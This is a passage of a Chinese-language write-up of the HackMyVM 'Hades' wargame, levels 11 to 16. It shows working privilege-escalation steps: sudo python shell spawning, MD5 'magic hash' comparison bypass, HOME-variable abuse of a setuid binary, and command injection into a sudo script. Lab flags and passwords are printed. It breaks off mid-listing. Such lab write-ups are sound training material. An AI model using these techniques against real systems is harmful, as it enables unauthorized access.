{"id":722,"date":"2024-07-06T16:35:00","date_gmt":"2024-07-06T08:35:00","guid":{"rendered":"http:\/\/162.14.82.114\/?p=722"},"modified":"2024-07-06T16:35:00","modified_gmt":"2024-07-06T08:35:00","slug":"hmvlabs-hades11-20","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/722\/07\/06\/2024\/","title":{"rendered":"HMVLabs-Hades(11-20)"},"content":{"rendered":"<h2>11 asia<\/h2>\n<pre><code class=\"language-bash\">asia@hades:~$ ls -la\ntotal 32\ndrwxr-x--- 2 root asia 4096 Apr  5 06:36 .\ndrwxr-xr-x 1 root root 4096 Apr  5 06:36 ..\n-rw-r--r-- 1 asia asia  220 Apr 23  2023 .bash_logout\n-rw-r--r-- 1 asia asia 3526 Apr 23  2023 .bashrc\n-rw-r--r-- 1 asia asia  807 Apr 23  2023 .profile\n-rw-r----- 1 root asia   22 Apr  5 06:36 flagz.txt\n-rw-r----- 1 root asia  188 Apr  5 06:36 mission.txt\nasia@hades:~$ grep -ra &#039;\\^*\\^&#039; .\n.\/flagz.txt:^ngXdULWFWKCGtgxAQNv^\nasia@hades:~$ cat mission.txt \n################\n# MISSION 0x11 #\n################\n\n## EN ##\nThe user asteria is teaching us to program in python.\n\n## ES ##\nLa usuaria asteria nos esta ense\u00f1ando a programar en python.\nasia@hades:~$ sudo -l\nMatching Defaults entries for asia on hades:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin, use_pty\n\nUser asia may run the following commands on hades:\n    (asteria) NOPASSWD: \/usr\/bin\/python3<\/code><\/pre>\n<p>\u53c2\u8003 <a href=\"https:\/\/gtfobins.github.io\/gtfobins\/python\/#sudo\">https:\/\/gtfobins.github.io\/gtfobins\/python\/#sudo<\/a><br \/>\nIf the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.<\/p>\n<pre><code class=\"language-bash\">sudo python -c &#039;import os; os.system(&quot;\/bin\/sh&quot;)&#039;<\/code><\/pre>\n<p>\u8fdb\u884c\u63d0\u6743\uff1a<\/p>\n<pre><code class=\"language-bash\">asia@hades:~$ ls -la\ntotal 32\ndrwxr-x--- 2 root asia 4096 Apr  5 06:36 .\ndrwxr-xr-x 1 root root 4096 Apr  5 06:36 ..\n-rw-r--r-- 1 asia asia  220 Apr 23  2023 .bash_logout\n-rw-r--r-- 1 asia asia 3526 Apr 23  2023 .bashrc\n-rw-r--r-- 1 asia asia  807 Apr 23  2023 .profile\n-rw-r----- 1 root asia   22 Apr  5 06:36 flagz.txt\n-rw-r----- 1 root asia  188 Apr  5 06:36 mission.txt\nasia@hades:~$ grep -ra &#039;\\^*\\^&#039; .\n.\/flagz.txt:^ngXdULWFWKCGtgxAQNv^\nasia@hades:~$ cat mission.txt \n################\n# MISSION 0x11 #\n################\n\n## EN ##\nThe user asteria is teaching us to program in python.\n\n## ES ##\nLa usuaria asteria nos esta ense\u00f1ando a programar en python.\nasia@hades:~$ sudo -l\nMatching Defaults entries for asia on hades:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin, use_pty\n\nUser asia may run the following commands on hades:\n    (asteria) NOPASSWD: \/usr\/bin\/python3\nasia@hades:~$ sudo -u asteria \/usr\/bin\/python3 -c &#039;import os; os.system(&quot;\/bin\/bash&quot;)&#039;\nasteria@hades:\/pwned\/asia$ cd ~;whoami;id;ls -la\nasteria\nuid=2003(asteria) gid=2003(asteria) groups=2003(asteria)\ntotal 36\ndrwxr-x--- 2 root    asteria 4096 Apr  5 06:36 .\ndrwxr-xr-x 1 root    root    4096 Apr  5 06:36 ..\n-rw-r--r-- 1 asteria asteria  220 Apr 23  2023 .bash_logout\n-rw-r--r-- 1 asteria asteria 3526 Apr 23  2023 .bashrc\n-rw-r--r-- 1 asteria asteria  807 Apr 23  2023 .profile\n-rw-r----- 1 root    asteria   22 Apr  5 06:36 flagz.txt\n-rw-r----- 1 root    asteria  145 Apr  5 06:36 mission.txt\n-rw-r----- 1 root    asteria  161 Apr  5 06:36 sihiri_old.php<\/code><\/pre>\n<h2>12 asteria<\/h2>\n<p>11: asteria\/hawMVJCYrBgoDAMVhuwT<\/p>\n<pre><code class=\"language-bash\">asteria@hades:~$ grep -ra &#039;\\^*\\^&#039; .\n.\/sihiri_old.php:print(&quot;Incorrect ^^&quot;);\n.\/flagz.txt:^xSRhIftMsAwWvBAnqNZ^\nasteria@hades:~$ cat mission.txt \n################\n# MISSION 0x12 #\n################\n\n## EN ##\nThe user astraea believes in magic. \n\n## ES ##\nLa usuaria astraea cree en la magia.\nasteria@hades:~$ cat sihiri_old.php \n\n&lt;?php\n$pass = hash(&#039;md5&#039;, $_GET[&#039;pass&#039;]);\n$pass2 = hash(&#039;md5&#039;,&quot;ASTRAEA_PASS&quot;);\nif($pass == $pass2){\nprint(&quot;ASTRAEA_PASS&quot;);\n}\nelse{\nprint(&quot;Incorrect ^^&quot;);\n}\n?&gt;<\/code><\/pre>\n<p>\u5982\u679c\u4e24\u4e2a\u5b57\u7b26\u7ecfMD5\u52a0\u5bc6\u540e\u7684\u503c\u4e3a 0exxxxx\u5f62\u5f0f\uff0c\u5c31\u4f1a\u88ab\u8ba4\u4e3a\u662f\u79d1\u5b66\u8ba1\u6570\u6cd5\uff0c\u4e14\u8868\u793a\u7684\u662f0*10\u7684xxxx\u6b21\u65b9\uff0c\u8fd8\u662f\u96f6\uff0c\u90fd\u662f\u76f8\u7b49\u7684\u3002<br \/>\n\u968f\u4fbf\u627e\u51e0\u4e2a\u8bd5\u4e00\u4e0b <a href=\"https:\/\/github.com\/spaze\/hashes\/blob\/master\/md5.md\">https:\/\/github.com\/spaze\/hashes\/blob\/master\/md5.md<\/a><\/p>\n<pre><code class=\"language-bash\">asteria@hades:~$ curl http:\/\/0.0.0.0\/sihiri.php\n\nIncorrect ^^\nasteria@hades:~$ curl http:\/\/0.0.0.0\/sihiri.php?pass=240610708&amp;pass2=QLTHNDT\n[1] 3820936\nasteria@hades:~$ \nnZkEYtjvHElOtupXKzTE<\/code><\/pre>\n<h2>13 astraea<\/h2>\n<pre><code class=\"language-bash\">asteria@hades:~$ ssh astraea@0.0.0\nThe authenticity of host &#039;0.0.0.0 (0.0.0.0)&#039; can&#039;t be established.\nED25519 key fingerprint is SHA256:5QshhvvnibVTWOxgK9XbUejVSLahU6clfnK1Iku0wsg.\nThis key is not known by any other names.\nAre you sure you want to continue connecting (yes\/no\/[fingerprint])? yes\nCould not create directory &#039;\/pwned\/asteria\/.ssh&#039; (Permission denied).\nFailed to add the host to the list of known hosts (\/pwned\/asteria\/.ssh\/known_hosts).\n\n                                                      .     **\n                                                   *           *.\n                                                                  ,*\n                                                                     *,\n                                             ,                         ,*\n                                          .,                              *,\n                                       \/                                    *\n                                    ,*                                        *,\n                                 \/.                                            .*.\n                                                                _____\n                __     __           _____         ____________      _____\\    \\            _____\n                \/  \\   \/  \\        \/      |_       \\           \\    \/    \/ |    |      _____\\    \\\n                \/   \/| |\\   \\      \/         \\       \\           \\  \/    \/  \/___\/|     \/    \/ \\    |\n                \/   \/\/   \\   \\    |     \/\\    \\       |    \/\\     ||    |__ |___|\/    |    |  \/___\/|\n                \/    \\_____\/    \\   |    |  |    \\      |   |  |    ||       \\       ____\\    \\ |   ||\n                \/    \/\\_____\/\\    \\  |     \\\/      \\     |    \\\/     ||     __\/ __   \/    \/\\    \\|___|\/\n                \/    \/\/\\_____\/\\    \\ |\\      \/\\     \\   \/           \/||\\    \\  \/  \\ |    |\/ \\    \\      \n                \/____\/ |       | \\____\\| \\_____\\ \\_____\\ \/___________\/ || \\____\\\/    ||\\____\\ \/____\/|\n                |    | |       | |    || |     | |     ||           | \/ | |    |____\/|| |   ||    | |\n                |____|\/         \\|____| \\|_____|\\|_____||___________|\/   \\|____|   | | \\|___||____|\/\n                                                                        |___|\/\n\n                                       **                                    **.\n                                          ,*                                **\n                                             *,                          ,*\n                                                *                      **\n                                                *,                .*\n                                                   *.           **\n                                                      **      ,*,\n                                                         ** *,\n                                        [== HMVLabs Chapter 2: Hades ==]\n\n                                         +===========================+\n                                         |        Respect &amp;          |\n                                         |        Have fun!          |\n                                         |                           |\n                                         | https:\/\/hackmyvm.eu\/hades |\n                                         +===========================+\n\nastraea@0.0.0.0&#039;s password:\n^KssHQIAFsxUamecyXIUk^\nConnection to 0.0.0.0 closed.\nasteria@hades:~$ ^C\nasteria@hades:~$ ssh astraea@0.0.0.0\nThe authenticity of host &#039;0.0.0.0 (0.0.0.0)&#039; can&#039;t be established.\nED25519 key fingerprint is SHA256:5QshhvvnibVTWOxgK9XbUejVSLahU6clfnK1Iku0wsg.\nThis key is not known by any other names.\nAre you sure you want to continue connecting (yes\/no\/[fingerprint])? yes\nCould not create directory &#039;\/pwned\/asteria\/.ssh&#039; (Permission denied).\nFailed to add the host to the list of known hosts (\/pwned\/asteria\/.ssh\/known_hosts).\n\n                                                      .     **\n                                                   *           *.\n                                                                  ,*\n                                                                     *,\n                                             ,                         ,*                         \n                                          .,                              *,\n                                       \/                                    *\n                                    ,*                                        *,\n                                 \/.                                            .*.\n                                                                _____\n                __     __           _____         ____________      _____\\    \\            _____\n                \/  \\   \/  \\        \/      |_       \\           \\    \/    \/ |    |      _____\\    \\\n                \/   \/| |\\   \\      \/         \\       \\           \\  \/    \/  \/___\/|     \/    \/ \\    |\n                \/   \/\/   \\   \\    |     \/\\    \\       |    \/\\     ||    |__ |___|\/    |    |  \/___\/|\n                \/    \\_____\/    \\   |    |  |    \\      |   |  |    ||       \\       ____\\    \\ |   ||\n                \/    \/\\_____\/\\    \\  |     \\\/      \\     |    \\\/     ||     __\/ __   \/    \/\\    \\|___|\/\n                \/    \/\/\\_____\/\\    \\ |\\      \/\\     \\   \/           \/||\\    \\  \/  \\ |    |\/ \\    \\\n                \/____\/ |       | \\____\\| \\_____\\ \\_____\\ \/___________\/ || \\____\\\/    ||\\____\\ \/____\/|\n                |    | |       | |    || |     | |     ||           | \/ | |    |____\/|| |   ||    | |\n                |____|\/         \\|____| \\|_____|\\|_____||___________|\/   \\|____|   | | \\|___||____|\/\n                                                                        |___|\/\n\n                                       **                                    **.\n                                          ,*                                **\n                                             *,                          ,*\n                                                *                      **\n                                                *,                .*\n                                                   *.           **\n                                                      **      ,*,\n                                                         ** *,\n                                        [== HMVLabs Chapter 2: Hades ==]\n\n                                         +===========================+\n                                         |        Respect &amp;          |\n                                         |        Have fun!          |\n                                         |                           |\n                                         | https:\/\/hackmyvm.eu\/hades |\n                                         +===========================+\n\nastraea@0.0.0.0&#039;s password:\n^KssHQIAFsxUamecyXIUk^\nConnection to 0.0.0.0 closed.\nasteria@hades:~$<\/code><\/pre>\n<p>\u5565\u60c5\u51b5\uff0c\u63d0\u4ea4flag\uff0c\u53d1\u73b0\u662f\u9690\u85cf\u7684\u3002\u3002\u3002\u3002\u3002\u8fd9\u4e2a\u610f\u601d\u5c31\u662f\u767b\u4e0a\u53bb\u4e86\uff0c\u4f46\u662f\u88ab\u79d2\u8e22\u6389\u4e86\uff0c\u5c1d\u8bd5\u7ef4\u6301\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">asteria@hades:~$ ssh astraea@0.0.0.0 -t &#039;whoami;id&#039;<\/code><\/pre>\n<p>\u4f46\u662f\u6267\u884c\u4e0d\u4e86\uff0c\u5c1d\u8bd5\u5176\u4ed6\u8def\u5b50\uff0c\u770b\u7fa4\u4e3b\u89c6\u9891\u8bf4\u4f20\u4e86busybox\u5728<code>\/var\/tmp<\/code>\uff0c\u8fd9\u662f\u6240\u6709\u7528\u6237\u90fd\u53ef\u4ee5\u7f16\u8f91\u4e34\u65f6\u6587\u4ef6\u7684\u5730\u65b9\uff1a<\/p>\n<pre><code class=\"language-bash\">asteria@hades:~$ ss -h\nbash: \/usr\/bin\/ss: Permission denied\nasteria@hades:~$ nc -h\nbash: nc: command not found\nasteria@hades:~$ ls \/var\/tmp\n07         31                a.txt           atalanta.txt  brute_31.sh  cve-2024-1086  flagz.txt   idd                  mission.txt.1  numbers.save  some2                        xx\n1.gif      32                aaa.txt         aura.py       busybox      d              fscan       level16.py           name.txt       penelope      ss                           zzz\n1.txt      333               ab.txt          av-98         c            dummy.png      fun.png     libexpect.so.5.45.4  names.txt      proc          taotao\n100.txt    999               anames.txt      av98.py       cat          expect         get-pip.py  linpeas.sh           new.py         pwned         taotaotao\n123        AV-98-master.zip  ar.sh           bNU           comb.txt     fi.sh          hatechars   mang                 new.sh         r.sh          test.py\n12345      AV98              arete           bbb           conky.conf   fibi           id          mission.ttx          new.txt        result.txt    three_char_conbinations.txt\n12345.txt  a                 arete_pass.txt  bbb.txt       core         flag.txt.1     id.zip      mission.txt          nmap           s             weird\nasteria@hades:\/var\/tmp$ .\/busybox netstat -alutp\nnetstat: can&#039;t scan \/proc - are you root?\nActive Internet connections (servers and established)\nProto Recv-Q Send-Q Local Address           Foreign Address         State       PID\/Program name    \ntcp        0      0 localhost:38595         0.0.0.0:*               LISTEN      -\ntcp        0      0 localhost:ircd          0.0.0.0:*               LISTEN      -\ntcp        0      0 0.0.0.0:http            0.0.0.0:*               LISTEN      -\ntcp        0      0 0.0.0.0:ssh             0.0.0.0:*               LISTEN      -\ntcp        0      0 localhost:ssh           localhost:45418         ESTABLISHED -\ntcp        0      0 localhost:ssh           localhost:45420         ESTABLISHED -\ntcp        0      0 localhost:ssh           localhost:45424         ESTABLISHED -\ntcp        0      0 localhost:45420         localhost:ssh           ESTABLISHED -\ntcp        0      0 localhost:45428         localhost:ssh           ESTABLISHED -\ntcp        0      0 localhost:ssh           localhost:45414         ESTABLISHED -\ntcp        0      0 localhost:45414         localhost:ssh           ESTABLISHED -\ntcp        0      0 localhost:ssh           localhost:45416         ESTABLISHED -\ntcp        0      0 localhost:45418         localhost:ssh           ESTABLISHED -\ntcp        0      0 localhost:ssh           localhost:45428         ESTABLISHED -\ntcp        0      0 localhost:45422         localhost:ssh           ESTABLISHED -\ntcp        0      0 localhost:45416         localhost:ssh           ESTABLISHED -\ntcp        0      0 localhost:45426         localhost:ssh           ESTABLISHED -\ntcp        0      0 localhost:ssh           localhost:45426         ESTABLISHED -\ntcp        0      0 localhost:ssh           localhost:45422         ESTABLISHED -\ntcp        0   1368 hades:ssh               218.201.30.54:3343      ESTABLISHED -\ntcp        0      0 localhost:45424         localhost:ssh           ESTABLISHED -\ntcp        0      0 :::1965                 :::*                    LISTEN      -\ntcp        0      0 :::http                 :::*                    LISTEN      -\ntcp        0      0 :::ftp                  :::*                    LISTEN      -\ntcp        0      0 :::ssh                  :::*                    LISTEN      -\nudp        0      0 localhost:56483         0.0.0.0:*                           -\nudp        0      0 0.0.0.0:44595           0.0.0.0:*                           -\nudp        0      0 0.0.0.0:55168           0.0.0.0:*                           -<\/code><\/pre>\n<p>\u53d1\u73b0\u5f00\u542f\u4e86ftp\u670d\u52a1\uff0c\u5c1d\u8bd5\u8fdb\u884c\u8fde\u63a5\u83b7\u53d6flag\uff0c\u518d\u5728\u5e73\u53f0\u63d0\u4ea4\u83b7\u53d6\u5bc6\u7801\uff1a<\/p>\n<pre><code class=\"language-bash\">ria@hades:\/var\/tmp$ ftp astraea@0.0.0.0\nConnected to 0.0.0.0.\n220 (vsFTPd 3.0.3)\n331 Please specify the password.\nPassword: \n230 Login successful.\nRemote system type is UNIX.\nUsing binary mode to transfer files.\nftp&gt; dir\n229 Entering Extended Passive Mode (|||53537|)\n150 Here comes the directory listing.\n-rw-r-----    1 0        2004           21 Apr 05 06:36 atalanta.txt\n-rw-r-----    1 0        2004           22 Apr 05 06:36 flagz.txt\n-rw-r-----    1 0        2004          181 Apr 05 06:36 mission.txt\n226 Directory send OK.\nftp&gt; get flagz.txt\nlocal: flagz.txt remote: flagz.txt\n229 Entering Extended Passive Mode (|||47975|)\n150 Opening BINARY mode data connection for flagz.txt (22 bytes).\n100% |*****************************************************************************************************************************************|    22       15.98 KiB\/s    00:00 ETA \n226 Transfer complete.\n22 bytes received in 00:00 (3.49 KiB\/s)\nftp&gt; exit\n221 Goodbye.\nasteria@hades:\/var\/tmp$ cat flagz.txt \n^nqTHTzMzDPDJrKPCfVR^\n<\/code><\/pre>\n<p>12: astraea\/nZkEYtjvHElOtupXKzTE<br \/>\n\u5fd8\u4e86\u8fde\u4e0d\u4e0a\u4e86\u3002\u3002\u3002\u3002<br \/>\n\u4e0b\u8f7d mission\u63a5\u7740\u505a\u5427\uff1a<\/p>\n<pre><code class=\"language-bash\">asteria@hades:\/var\/tmp$ ftp astraea@0.0.0.0\nConnected to 0.0.0.0.\n220 (vsFTPd 3.0.3)\n331 Please specify the password.\nPassword: \n230 Login successful.\nRemote system type is UNIX.\nUsing binary mode to transfer files.\nftp&gt; dir \n229 Entering Extended Passive Mode (|||10777|)\n150 Here comes the directory listing.\n-rw-r-----    1 0        2004           21 Apr 05 06:36 atalanta.txt\n-rw-r-----    1 0        2004           22 Apr 05 06:36 flagz.txt\n-rw-r-----    1 0        2004          181 Apr 05 06:36 mission.txt\n226 Directory send OK.\nftp&gt; get mission.txt\nlocal: mission.txt remote: mission.txt\n229 Entering Extended Passive Mode (|||31679|)\n150 Opening BINARY mode data connection for mission.txt (181 bytes).\n100% |*****************************************************************************************************************************************|   181      145.24 KiB\/s    00:00 ETA \n226 Transfer complete.\n181 bytes received in 00:00 (29.82 KiB\/s)\nftp&gt; get atalanta.txt\nlocal: atalanta.txt remote: atalanta.txt\n229 Entering Extended Passive Mode (|||61686|)\n150 Opening BINARY mode data connection for atalanta.txt (21 bytes).\n100% |*****************************************************************************************************************************************|    21       16.53 KiB\/s    00:00 ETA \n226 Transfer complete.\n21 bytes received in 00:00 (3.43 KiB\/s)\nftp&gt; exit\n221 Goodbye.\nasteria@hades:\/var\/tmp$ cat mission.txt\n################\n# MISSION 0x13 #\n################\n\n## EN ##\nThe user atalanta has done something with our account. \n\n## ES ##\nLa usuaria atalanta ha hecho algo con nuestra cuenta.\nasteria@hades:\/var\/tmp$ cat atalanta.txt \nmUcSNQlaXtwSvGcgeTYZ<\/code><\/pre>\n<h2>14 atalanta<\/h2>\n<pre><code class=\"language-bash\">atalanta@hades:~$ ls -la\ntotal 60\ndrwxr-x--- 1 root     atalanta  4096 Apr  5 06:36 .\ndrwxr-xr-x 1 root     root      4096 Apr  5 06:36 ..\n-rw-r--r-- 1 atalanta atalanta   220 Apr 23  2023 .bash_logout\n-rw-r--r-- 1 atalanta atalanta  3526 Apr 23  2023 .bashrc\n-rw-r--r-- 1 atalanta atalanta   807 Apr 23  2023 .profile\n-rw-r----- 1 root     atalanta    22 Apr  5 06:36 flagz.txt\n-rw-r----- 1 root     atalanta   237 Apr  5 06:36 mission.txt\n-r-sr-s--- 1 root     atalanta 16608 Apr  5 06:36 weird\n-rwxrwxrwx 1 atalanta atalanta    21 Jun 12 09:05 weird.c\natalanta@hades:~$ grep -ra &#039;\\^*\\^&#039; .\n.\/flagz.txt:^XXZbDJTQQWCHJWTGeOw^\n.\/weird:\ufffd@\ufffd\ufffd\ufffd\ufffd%r\/h\n                  \ufffd0\ufffd\ufffd\ufffd\ufffd%j\/h\n\ufffd\ufffd\ufffd\ufffd\ufffd%\ufffd.f\ufffd1\ufffdI\ufffd\ufffd^H\ufffd\ufffdH\ufffd\ufffd\ufffdPTE1\ufffd1\ufffdH\ufffd=\ufffd\ufffd.\ufffdf.\ufffd@H\ufffd=)\/H\ufffd&quot;\/H9\ufffdtH\ufffd^.H\ufffd\ufffdt  \ufffd\ufffd\ufffd\ufffd\ufffdH\ufffd=\ufffd.H\ufffd5\ufffd.H)\ufffdH\ufffd\ufffdH\ufffd\ufffd?H\ufffd\ufffdH\ufffdH\ufffd\ufffdtH\ufffd-.H\ufffd\ufffd\ufffd\ufffdfD\ufffd\ufffd\ufffd\ufffd\ufffd=\ufffd.u+UH\ufffd=\natalanta@hades:~$ cat mission.txt \n################\n# MISSION 0x14 #\n################\n\n## EN ##\nUser athena lets us run her program, but she hasn&#039;t left us her source code.\n\n## ES ##\nLa usuaria athena nos deja ejecutar su programa, pero no nos ha dejado su codigo fuente.\n\natalanta@hades:~$ .\/weird\nHOME detected: \/pwned\/atalanta\nSegmentation fault\natalanta@hades:~$ cat weird.c\nkmQMpZsXgOsnzGReRcoV<\/code><\/pre>\n<p>\u5565\u60c5\u51b5\uff1f\u5148\u628a\u6587\u4ef6\u4f20\u5230<code>\/var\/tmp<\/code>\uff0c\u518d\u4f20\u5230\u672c\u673a\u8fdb\u884c\u9006\u5411\u5206\u6790\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-C\">int __cdecl main(int argc, const char **argv, const char **envp)\n{\n  char *v3; \/\/ rax\n  char ptr; \/\/ [rsp+Fh] [rbp-4B1h]\n  char v6; \/\/ [rsp+400h] [rbp-C0h]\n  int v7; \/\/ [rsp+418h] [rbp-A8h]\n  __uid_t uid; \/\/ [rsp+41Ch] [rbp-A4h]\n  struct passwd *v9; \/\/ [rsp+490h] [rbp-30h]\n  int v10; \/\/ [rsp+49Ch] [rbp-24h]\n  FILE *v11; \/\/ [rsp+4A0h] [rbp-20h]\n  char *command; \/\/ [rsp+4A8h] [rbp-18h]\n  FILE *stream; \/\/ [rsp+4B0h] [rbp-10h]\n  char *file; \/\/ [rsp+4B8h] [rbp-8h]\n\n  setuid(0x7D6u);\n  setgid(0x7D6u);\n  file = getenv(&quot;HOME&quot;);\n  printf(&quot;HOME detected: %s\\n&quot;, file);\n  v3 = getenv(&quot;HOME&quot;);\n  stream = fopen(v3, &quot;w&quot;);\n  command = &quot;\/bin\/cat \/var\/lib\/me&quot;;\n  ptr = 0;\n  v11 = popen(&quot;\/bin\/cat \/var\/lib\/me&quot;, &quot;r&quot;);\n  if ( !v11 )\n  {\n    perror(&quot;popen() failed.&quot;);\n    exit(1);\n  }\n  while ( fread(&amp;ptr, 1uLL, 1uLL, v11) )\n    fputc(ptr, stream);\n  pclose(v11);\n  pclose(stream);\n  v10 = stat(file, (struct stat *)&amp;v6);\n  v9 = getpwuid(uid);\n  if ( v9-&gt;pw_name != &quot;atalanta&quot; )\n    v10 = chmod(file, v7 &amp; 0xFFFFFFCA | 0x10);\n  stat(file, (struct stat *)&amp;v6);\n  return 0;<\/code><\/pre>\n<p>\u58a8\u5e08\u5085<a href=\"https:\/\/tryhackmyoffsecbox.github.io\/Target-Machines-WriteUp\/docs\/HackMyVM\/HMVLabs\/Hades\/11-20\">blog<\/a>\u6709\u6e90\u7801\uff1a<\/p>\n<pre><code class=\"language-C\">#include &lt;stdlib.h&gt;\n#include &lt;string.h&gt;\n#include &lt;sys\/stat.h&gt;\n#include &lt;pwd.h&gt;\nint main()\n{\n    setuid(2006);\n    setgid(2006);\n    const char *filename;\n    struct stat fs;\n    int r;\n    filename = getenv(&quot;HOME&quot;);\n    printf (&quot;HOME detected: %s\\n&quot;,filename);\n    char cmd[1000];\n    FILE *out_file = fopen(getenv(&quot;HOME&quot;), &quot;w&quot;);\n    FILE *fpipe;\n    char *command = &quot;\/bin\/cat \/var\/lib\/me&quot;;\n    char c = 0;\n\n    if (0 == (fpipe = (FILE*)popen(command, &quot;r&quot;)))\n    {\n        perror(&quot;popen() failed.&quot;);\n        exit(EXIT_FAILURE);\n    }\n\n    while (fread(&amp;c, sizeof c, 1, fpipe))\n    {\n        fprintf(out_file, &quot;%c&quot;,c);\n    }\n    pclose(fpipe);\n    pclose(out_file);\n    r = stat(filename,&amp;fs);\n    struct passwd *pw = getpwuid(fs.st_uid);\n    if (pw-&gt;pw_name != &quot;atalanta&quot;){\n    r = chmod(filename, fs.st_mode &amp; ~(S_IROTH)+~(S_IRGRP) | S_IWGRP );\n    }\n    stat(filename,&amp;fs);\n    return EXIT_SUCCESS;\n}<\/code><\/pre>\n<p>\u811a\u672c\u505a\u4e86\u5982\u4e0b\u51e0\u4ef6\u4e8b\u60c5\uff1a<\/p>\n<ul>\n<li>\u8d4b\u6743 2006\n<ul>\n<li>atalanta@hades:\/var\/tmp$ id athena<\/li>\n<li>uid=2006(athena) gid=2006(athena) groups=2006(athena)<\/li>\n<\/ul>\n<\/li>\n<li>\u83b7\u53d6\u5e76\u6253\u5370HOME\u73af\u5883\u53d8\u91cf<\/li>\n<li>\u5c1d\u8bd5\u6253\u5f00HOME\u76ee\u5f55\u4e3a\u6587\u4ef6<\/li>\n<li>\u6267\u884c\u5916\u90e8\u547d\u4ee4\u5e76\u6355\u83b7\u8f93\u51fa<\/li>\n<li>\u5c06\u6355\u83b7\u7684\u5185\u5bb9\u5199\u5165\u5230HOME\u73af\u5883\u53d8\u91cf\u6307\u5b9a\u7684\u4f4d\u7f6e<\/li>\n<li>\u5173\u95ed\u6587\u4ef6\u6307\u9488\u548c\u7ba1\u9053<\/li>\n<li>\u68c0\u67e5\u6587\u4ef6\u7684\u6240\u6709\u8005\u5e76\u5c1d\u8bd5\u66f4\u6539\u6743\u9650<\/li>\n<li>\u518d\u6b21\u83b7\u53d6\u6587\u4ef6\u72b6\u6001<br \/>\n\u6545\u5229\u7528\u65b9\u6cd5\u4e3a\u5148\u5c06HOME\u8bbe\u7f6e\u4e3a\u4e00\u4e2a\u6587\u4ef6\uff0c\u518d\u8fd0\u884c\u7a0b\u5e8f\uff0c\u6700\u540e\u8fdb\u884c\u8bfb\u53d6\uff1a<\/li>\n<\/ul>\n<pre><code class=\"language-bash\"> atalanta@hades:\/var\/tmp$ touch \/tmp\/flaggggggg\natalanta@hades:\/var\/tmp$ echo $HOME\n\/pwned\/atalanta\natalanta@hades:\/var\/tmp$ HOME=\/tmp\/flaggggggg\natalanta@hades:\/var\/tmp$ echo $HOME\n\/tmp\/flaggggggg\natalanta@hades:\/var\/tmp$ cd \/pwned\/atalanta\natalanta@hades:\/pwned\/atalanta$ ls\nflagz.txt  mission.txt  weird  weird.c\natalanta@hades:\/pwned\/atalanta$ chmod 777 HOME\nchmod: cannot access &#039;HOME&#039;: No such file or directory\natalanta@hades:\/pwned\/atalanta$ chmod 777 \/tmp\/flaggggggg\natalanta@hades:\/pwned\/atalanta$ .\/weird\nHOME detected: \/tmp\/flaggggggg\natalanta@hades:\/pwned\/atalanta$ cat \/tmp\/flaggggggg\nkmQMpZsXgOsnzGReRcoV<\/code><\/pre>\n<h2>15 athena<\/h2>\n<pre><code class=\"language-bash\">athena@hades:~$ ls -la\ntotal 36\ndrwxr-x--- 2 root   athena 4096 Apr  5 06:36 .\ndrwxr-xr-x 1 root   root   4096 Apr  5 06:36 ..\n-rw-r--r-- 1 athena athena  220 Apr 23  2023 .bash_logout\n-rw-r--r-- 1 athena athena 3526 Apr 23  2023 .bashrc\n-rw-r--r-- 1 athena athena  807 Apr 23  2023 .profile\n-rw-r----- 1 root   athena  166 Apr  5 06:36 auri_old.sh\n-rw-r----- 1 root   athena   22 Apr  5 06:36 flagz.txt\n-rw-r----- 1 root   athena  160 Apr  5 06:36 mission.txt\nathena@hades:~$ grep -ra &#039;\\^*\\^&#039; .\n.\/flagz.txt:^oGwmbNYdtHwJgznZdur^\nathena@hades:~$ cat mission.txt \n################\n# MISSION 0x15 #\n################\n\n## EN ##\nUser aura lets us use her new script.\n\n## ES ##\nLa usuaria aura nos deja utilizar su nuevo script.\nathena@hades:~$ cat auri_old.sh \n\n#!\/bin\/bash\necho &quot;What?&quot;\nread hackme\n#Secure the condition!\n#if [[ $hackme =~ &quot;????????&quot; ]]; then\n#exit\n#fi\n#Add newest Aura pass!\n#$hackme AURANEWPASS 2&gt;\/dev\/null\n\nathena@hades:~$ sudo -l\nMatching Defaults entries for athena on hades:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin, use_pty\n\nUser athena may run the following commands on hades:\n    (aura) NOPASSWD: \/bin\/bash -c \/pwned\/aura\/auri.sh\nathena@hades:~$ sudo -u aura \/bin\/bash -c \/pwned\/aura\/auri.sh\nWhat?\nwhoami<\/code><\/pre>\n<p>\u8fd9\u6bb5\u4ee3\u7801\u7684\u903b\u8f91\u5982\u4e0b\uff1a<\/p>\n<ul>\n<li>\u8f93\u51fa\uff0c\u63d0\u793a\u7528\u6237\u8fdb\u884c\u8f93\u5165<\/li>\n<li>\u8bfb\u53d6\u7528\u6237\u8f93\u5165<\/li>\n<li>\u6b63\u5219\u5339\u914d\u4e0d\u5141\u8bb8\u7684\u5b57\u7b26(????????\u53ea\u662f\u7528\u6765\u5360\u4f4d\u5b50\u7684)<\/li>\n<li>\u6267\u884c\u547d\u4ee4<br \/>\n\u6240\u4ee5\u5c1d\u8bd5\u8ba9\u4ed6\u8fdb\u884c\u8f93\u51fa\u5373\u53ef<\/li>\n<\/ul>\n<pre><code class=\"language-bash\">athena@hades:~$ sudo -u aura \/bin\/bash -c \/pwned\/aura\/auri.sh\nWhat?\ncat\nathena@hades:~$ sudo -u aura \/bin\/bash -c \/pwned\/aura\/auri.sh\nWhat?\nmore\nathena@hades:~$ sudo -u aura \/bin\/bash -c \/pwned\/aura\/auri.sh\nWhat?\nless\nathena@hades:~$ sudo -u aura \/bin\/bash -c \/pwned\/aura\/auri.sh\nWhat?\nprintf\nTiqpedAFjwmVyBlYpzRh<\/code><\/pre>\n<h2>16 aura<\/h2>\n<pre><code class=\"language-bash\">aura@hades:~$ ls -la\ntotal 52\ndrwxr-x--- 2 root aura  4096 Apr  5 06:36 .\ndrwxr-xr-x 1 root root  4096 Apr  5 06:36 ..\n-rw-r--r-- 1 